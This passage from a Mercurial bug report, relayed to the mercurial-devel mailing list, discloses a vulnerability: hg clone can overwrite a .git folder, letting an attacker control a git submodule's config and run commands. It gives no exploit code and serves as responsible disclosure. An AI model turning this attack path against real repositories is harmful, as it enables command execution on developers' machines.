pull,fetch,checkout,push,etc in the git submodule.Our command will be
executed.As we already can control the git config file on the remote,lots of
options we can use to execute command or do other things.

Mercurial accidently cover the .git folder with user applied .git folder during
hg cloning so that give attacker a chance to modify the config file and lead to
command execution.

This one i firstly reported to sourcetree but later i found the root cause was
on the mercurial side,so i decided to double report it here.

-- 
You are receiving this mail because:
You are on the CC list for the bug.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel